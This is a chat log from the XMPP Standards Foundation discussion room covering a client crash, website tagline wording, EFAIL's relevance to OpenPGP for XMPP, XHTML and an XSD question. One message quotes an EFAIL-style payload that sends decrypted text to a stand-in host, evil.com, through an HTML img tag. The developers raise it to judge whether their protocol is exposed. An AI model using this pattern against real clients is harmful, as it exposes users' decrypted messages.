XSF Discussion - 2018-05-16


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  357. MattJ

    Wow, Swift just crashed my Pulseaudio :)

  358. MattJ

    and then crashed itself

  359. MattJ

    Looks like one of my local test accounts had a $large number of offline messages

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  361. Ge0rG

    ,oO( https://op-co.de/tmp/chatsecure-crash-iphone.mp4 )

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  363. MattJ

    Nice :)

  364. MattJ

    It's like winning Solitaire

  365. jonasw

    what

  366. jonasw

    how do a lot of offline messages crash pulseaudio.

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  368. MattJ

    jonasw, notification sound. I think it probably tried to play thousands of them at once

  369. jonasw

    and opening a pulseaudio connection for each, I guess, probably by invoking paplay or something. that makes sense.

  370. jonasw

    but still a bug in pulse probably :)

  371. MattJ

    Yeah

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  394. flow

    > jonasw> but still a bug in pulse probably :)

  395. flow

    not sure if lennart would agree

  396. jonasw

    AFAIK lennart isn’t involved with pulse anymore

  397. Zash

    I'm allergic to notification sounds. Probably forever scarred by how annoying that ICQ oh-oh sound got after a while.

  398. jonasw

    I feel you

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  448. debacle

    Recently I complained about xmpp.org advertising XMPP as "most secure" messaging standard. Some people agreed, that "most secure" is not the most important feature to advertise XMPP with. And some people might even doubt, that XMPP is exceptionally secure :~)

  449. debacle

    I suggest to replace "most secure" with the word "universal".

  450. Zash

    Secure in its awesomeness

  451. Seve/SouL

    Yes

  452. Seve/SouL

    that's the idea for me

  453. debacle

    I believe, that the most important aspect of XMPP compared to other, similar technologies is it's "universal" approach. eXtensible for whatever one likes to do, useful for IoT, WebRTC, and social (below on xmpp.org), etc.

  454. Seve/SouL

    Something that would mean in a way 'the standard'

  455. Seve/SouL

    I like that

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  457. daniel

    The literal battle tested might also not fly well with some people...

  458. Zash

    The Standard.

  459. Seve/SouL

    Yes.

  460. Zash

    It's probably fine for it to be bold

  461. debacle

    "Battle-tested" might also be something to change, true.

  462. Zash

    What was that saying about how to get replies on the Internet? State something wrong. People will flock to correct you.

  463. Zash

    debacle: That might actually be true in a literal sense.

  464. daniel

    Zash: that's the problem

  465. debacle

    Yes, but do you want to use this use case for the ads? :~)

  466. debacle

    Pacifists or anti-bellicists might go to Matrix then :~)

  467. daniel

    I mean I personally don't have issues with that. But advertising oneself as the protocol that is used to kill people (albeit indirectly) is probably not the best idea for some target audience

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  469. debacle

    XEPs are lethal in some way...

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  471. Zash

    XEPs don't kill people. People kill people.

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  477. daniel

    That would make for a better slogan

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  479. Kev

    I raised the tagline at the time. It was a deliberate decision by (then) Board.

  480. debacle

    Back to my complaint: Who could decide over s/most secure/universal/ on xmpp.org? (Or any other change?)

  481. Zash

    Board?

  482. debacle

    Maybe also s/Battle-tested./Secure./ :

  483. debacle

    Maybe also s/Battle-tested./Secure./ ?

  484. Zash

    Why not have bold marketing tho?

  485. debacle

    Bold?

  486. daniel

    Not everything that's bold is also good or useful. Advertising Conversations as trusted by ISIS and organized crime might be bold but arguably pretty bad marketing

  487. Zash

    All publicity is good publicity, as they say

  488. debacle

    The EFFail was no good marketing, neither for PGP nor EFF.

  489. Zash

    When everyone has forgotten the details, they might remember "PGP". If so, then it was a success.

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  491. vanitasvitae

    I should read that paper in depth at some point to evaluate its impact on OpenPGP for XMPP.

  492. Kev

    If people read the details, they'd see it had nothing to do with pgp in the first place :)

  493. debacle

    The remember "PGP is dangerous, I must uninstall it and replace with Signal"

  494. debacle

    They remember "PGP is dangerous, I must uninstall it and replace with Signal"

  495. Zash

    vanitasvitae: It wasn't about PGP, it was about MIME and email clients being terrible

  496. vanitasvitae

    Zash, no, it was also about PGP

  497. vanitasvitae

    PGP was just harder to attack

  498. moparisthebest

    not really, it was an HTML thing, you know, like xhmtl-im

  499. daniel

    If you put xhtml in your ox one could maybe do something similar

  500. daniel

    Under some conditions

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  502. daniel

    If you implemted both xhtml and your ox in a bad way that is

  503. vanitasvitae

    daniel, I suspect that XMPP would be vulnerable the same way. You could for example insert references. Or even HTTP-Upload links.

  504. vanitasvitae

    But I have to evaluate that in more depth

  505. Zash

    If you put [[<img src="http://evil.com/]] followed by PGP-encrypted data it went and did a HTTP query for evil.com/encrypted-secrets-here

  506. daniel

    Yeah I think you could deliberately Design and implemted ox in a way that is vulnerable. But I think that might be a bit harder. Because unlike the mime parsers it won't mix different parts of the stanza

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  508. MattJ

    debacle, make a pull request on Github with your proposed change, and I'm sure everything will follow on from there

  509. debacle

    MattJ, will do, thanks!

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  511. vanitasvitae

    by the look of things, OX puts the stuff that is interpreted as the message payload in an additional element (<signcrypt/> for example), so an attack would be very complicated. Harder than attacking email at least :D

  512. Zash

    As long as messages are either encrypted or not, it should be fine

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  546. Wiktor

    who would've though using stricter XML instead of lax HTML would prevent some attacks? /s the same style of attack: https://githubengineering.com/githubs-post-csp-journey/

  547. Zash

    Nah, who cares, kill XHTML

  548. Zash

    XHTML is dead, long live tag soup!

  549. Wiktor

    yep, that's the effect of this thinking, move fast break things, and XHTML-2 was claimed to be "bad" because it made people watch green screens of death

  550. Zash

    Nah, XHTML 2 was bad because it fixed stupid early mistakes in HTML

  551. Zash

    Like a single <h> instead of <h[1-6]>

  552. Wiktor

    single <h> is not as easy as it seems: https://jakearchibald.com/2017/do-we-need-a-new-heading-element/

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  554. Link Mauve

    Wiktor, s/green/yellow/ :p

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  557. Wiktor

    Link Mauve: yes, lol, I've imagined yellow but said green, weird

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  559. moparisthebest

    I miss the good old days when I could link people to https://www.moparisthebest.com/no.html and if they opened it in IE it would blue-screen-of-death their computer

  560. moparisthebest

    because the img width/height were too large of integers...

  561. Wiktor

    deathpic.png, sounds dangerous

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  563. Link Mauve

    This is scary at so many levels.

  564. Link Mauve

    Why would parsing an HTML integer trigger a kernel panic.

  565. moparisthebest

    yea everyone thought it was the image, it wasn't, it's an overflow with the tags :)

  566. moparisthebest

    Link Mauve, right? :)

  567. moparisthebest

    I want to say it was vulnerable to windows xp sp1, then sp2 fixed it

  568. Ge0rG

    "vulnerable to windows xp" - isn't that a problem affecting most PCs produced in the last decade?

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  639. moparisthebest

    are there any XSD wizards in here that could tell me if according to this schema if I can have multiple <Property/> elements with the same type? http://docs.oasis-open.org/xri/xrd/v1.0/xrd-1.0.html#element.property

  640. moparisthebest

    like <Link bla><Property type="something">data1</Property><Property type="something">data2</Property></Link> ?

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  644. moparisthebest

    http://docs.oasis-open.org/xri/xrd/v1.0/xrd-1.0.html#examples.2 has <Property type="http://spec.example.net/version">1.0</Property><Property type="http://spec.example.net/version">2.0</Property>

  645. moparisthebest

    so I guess the answer is yes? though what does "XRD Examples (Non-Normative)" mean? :)

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  656. jonasw

    moparisthebest, I’m rather sure that XSD can’t express such things

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  658. moparisthebest

    thanks jonasw , as an aside you've been doing an exceptional job as editor lately

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  660. jonasw

    thanks

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  882. pep.

    only lately, before that it was crap

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  966. lovetox

    :D

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